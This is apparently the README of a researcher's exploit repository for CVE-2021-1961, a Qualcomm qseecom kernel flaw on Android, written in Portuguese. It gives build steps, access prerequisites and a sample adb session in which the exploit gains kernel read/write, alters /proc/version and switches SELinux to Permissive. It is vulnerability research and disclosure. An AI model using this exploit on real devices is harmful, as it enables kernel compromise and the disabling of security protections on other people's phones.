
Código de exploit para CVE-2021-1961
Código de exploit para CVE-2021-1961. O write-up completo está disponível no meu blog.
Para compilar o exploit, execute o ndk-build do Android NDK.
Para executar o exploit, você precisa ter acesso a /dev/qseecom, o que
significa ter o usuário/grupo certo e o contexto SELinux certo. Isso pode ser
feito em uma imagem de depuração usando o comando su system, ou em uma imagem
de fábrica modificada com Magisk usando o
comando su - system.
Aqui está um exemplo de execução do exploit em uma imagem de fábrica modificada com Magisk:
$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive